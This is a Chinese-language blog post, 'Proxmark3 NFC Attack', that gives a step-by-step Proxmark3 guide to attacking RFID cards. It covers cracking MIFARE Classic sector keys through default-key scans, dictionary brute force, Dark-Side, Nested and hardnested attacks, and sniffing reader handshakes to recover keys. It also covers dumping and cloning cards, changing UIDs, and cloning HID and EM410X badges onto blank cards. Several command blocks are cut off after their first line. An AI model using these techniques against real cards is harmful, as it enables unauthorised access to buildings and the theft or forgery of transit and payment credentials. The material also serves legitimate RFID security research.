环境准备
Proxmark3,支持各种高低频卡,可通过配套软件实现破解、嗅探、模拟、复制等功能,被誉为 RFID 界的瑞士军刀。
安装Proxmark3环境
https://github.com/Proxmark/proxmark3/wiki/Kali-Linux
Install the Proxmark3 on Kali Linux
1 | # kali |
确认Proxmark3工作状态
把PM3连接上,查看是否已经识别设备
1 | $ lsusb |
正常工作状态下,PM3应该只显示白色灯。
如果连接时亮橘红色和绿色灯,或插入系统时检测不到设备(没反应),可能需要更新CDC Bootloader。
操作步骤:
- 拔掉USB线,让PM3 断电。
- 然后按住PM3侧边的按钮不放,USB插入电脑,此时应该可以检测到设备了。
- 继续按着不放,在/dev下找到PM3设备串口。kali中应该是/dev/ttyACM0
- 重刷CDC Bootloader
1 | # CDC Bootloader |
重刷完CDC Bootloader之后,系统应该能正常识别PM3了。
- 更新固件Firmware
继续按住按钮不放,执行下面的命令:
1 | cd proxmark3/client |
设备状态正常的情况下,执行下面的命令进行proxmark3工具的命令交互界面
1 | sudo ./proxmark3 /dev/ttyACM0 |
查看下PM3设备的基本状态
1 | # 查看状态 |
破解扇区密钥
https://www.cnblogs.com/k1two2/p/5706516.html
https://blog.csdn.net/qq_37806908/article/details/95992392
出厂默认密钥
M1卡出厂时使用统一的默认密钥,密钥A和密钥B的值均为FFFFFFFFFFFF,控制位为FF087069,也有一部分制造商使用自己的简单密钥作为出厂密钥。发卡商为了便利通常使用厂家提供的默认密钥,或者仅仅将包含重要数据的扇区修改密钥。对M1卡的扇区进行默认密钥扫描有助于我们提高破解的效率,并且可用来判断该卡是否为全加密卡,若未扫描到默认密钥则直接使用嗅探手段获取密钥。
使用hf mf chk *4 ? t
命令开始扫描,该命令使用12个全球通用的默认密钥扫描0-39扇区,若事先知道所用数据在多少扇区及对应的密钥类型,可以修改指令来缩短扫描时间。扫描大概需要1分钟时间,完成后可以看到除了10-15扇区外其他扇区的密钥均为FFFFFFFFFFFF,这说明10-15扇区存放了一卡通的关键数据,这6个扇区就是后续数据分析研究的重点对象。
1 | proxmark3> hf search |
密钥字典爆破
1 | # 字典爆破全扇区AB密钥 |
Dark-Side Attack
(仅适用于Weak Prng)
1 | proxmark3> hf mf mifare |
Nested Authentication Exploit
(仅适用于Weak Prng)
1 | #已知某密钥的情况下执行NESTED攻击进行嵌套攻击,枚举&爆破key: |
也可以使用mfoc或者mfuck等工具破解某个扇区的密钥
验证key是否正确
1 | # 测试⼀下我们拿到的密钥对不对,错误不会返回Found valid key:[xxxxx] |
读取加密扇区数据
All of a sudden we have a new key: 080808080808
. This key allows us to read our secret blocks:
1 | proxmark3> hf mf rdbl 5 A 080808080808 |
克隆卡片
使用上面的方法破解出卡密钥
导出加密区密钥(获取全扇区秘钥)
1 | proxmark3> hf mf nested 1 0 A xxxxxxxxx d |
3.导出卡数据
1 | #参数:1=1K(default), 2=2K, 4=4K |
4、写入数据到空白卡
1 | proxmark3> hf mf restore 1 |
或者或者先处理导出数据文件的格式,将dumpdata.bin这个二进制文件转换成eml格式的文本信息。PM3自带dumptoemul.lua脚本进行处理。处理完后会生成eml文件。此外也可以使用python或perl脚本处理
1 | proxmark3> hf mf dump #输出文件dumpdata.bin |
写入数据到空白卡
1 | proxmark3> hf mf eclr #清除仿真内存的各区块数据 |
修改卡UID
Cracking Mifare Classic 1K Cards
1 | proxmark3> hf 14a info |
克隆HID卡
1 | proxmark3> lf search |
嗅探通信
如果卡片不存在弱RNG问题,唯一可行的破解密钥的方法就是抓取分析握手包。
- 识别读卡器上的Classic 1K卡:
1 | hf 14a reader |
- Proxmark3有一个嗅探模式可以记录和转储所有的RFID通信,设置PM3进入嗅探模式:
1 | hf 14a snoop |
开始嗅探数据
1
hf mf sniff
Proxmark3在传输期间必须非常靠近两个设备,完成刷卡后,应按Proxmark3中的按钮停止嗅探。
将嗅探模式捕获的数据打印到终端显示
1 | proxmark3> hf list 14a |
捕获的数据中如果有感叹号表示位读取错误,可能需要读取多次才能捕获到完整的且没有任何错误的握手包,此时可以获取到提取密钥所需的UID、NT、NR、AR、AT等值。
- 在捕获到符合条件的握手包后,提取握手包中的有效密钥
1 | ./tools/mfkey/mfkey64 [CARD_UID] [NT] [NR] [AR] [AT] |
- 成功提取有效密钥后,使用HardNested攻击破击其他密钥
1 | hf mf hardnested [known_key_block] [known_key_type] [known_key] [target_block] [target_key_type] |
修改卡数据
All of a sudden we have a new key: 080808080808
. This key allows us to read our secret blocks:
1 | proxmark3> hf mf rdbl 5 A 080808080808 |
Once you have all the keys that you need:
Read the data from a particular block: hf mf rdbl [block] [A/B] [key]
Read all the data for a particular sector: hf mf rdsc [sector] [A/B] [key]
Write a specific block with your own data: hf mf wrbl [block_num] [key_type] [key] [block data]
模拟卡片
重放RFID信号
https://www.offensive-security.com/offsec/cloning-rfid-tags-with-proxmark-3/
https://scund00r.com/all/rfid/2018/06/05/proxmark-cheatsheet.html
1 | ### EM410X TAGS |
其他
修改卡UID
Cracking Mifare Classic 1K Cards https://www.youtube.com/watch?v=GqHaZicizvg
1 | proxmark3> hf search |
HID卡 Hacking
1 | proxmark3> lf search |
hex2dumpkeys.pl
1 | my $v = <<EOF; |
常见卡指纹
1 | # MIFARE Classic卡 |
有了标签ID,我们现在需要一张空白的RFID卡,可以将标签ID克隆到其中。最好的卡是T5577,它可以模拟各种低频卡,包括此处讨论的两种卡(HID ProxCard,EM41000)
远程克隆读取RFID
steal RFID tags from multiple feet away
参考
- Post title:Proxmark3 NFC Attack
- Post author:ssooking
- Create time:2020-01-25 13:19:00
- Post link:https://ssooking.github.io/2020/01/proxmark3-nfc-attack/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.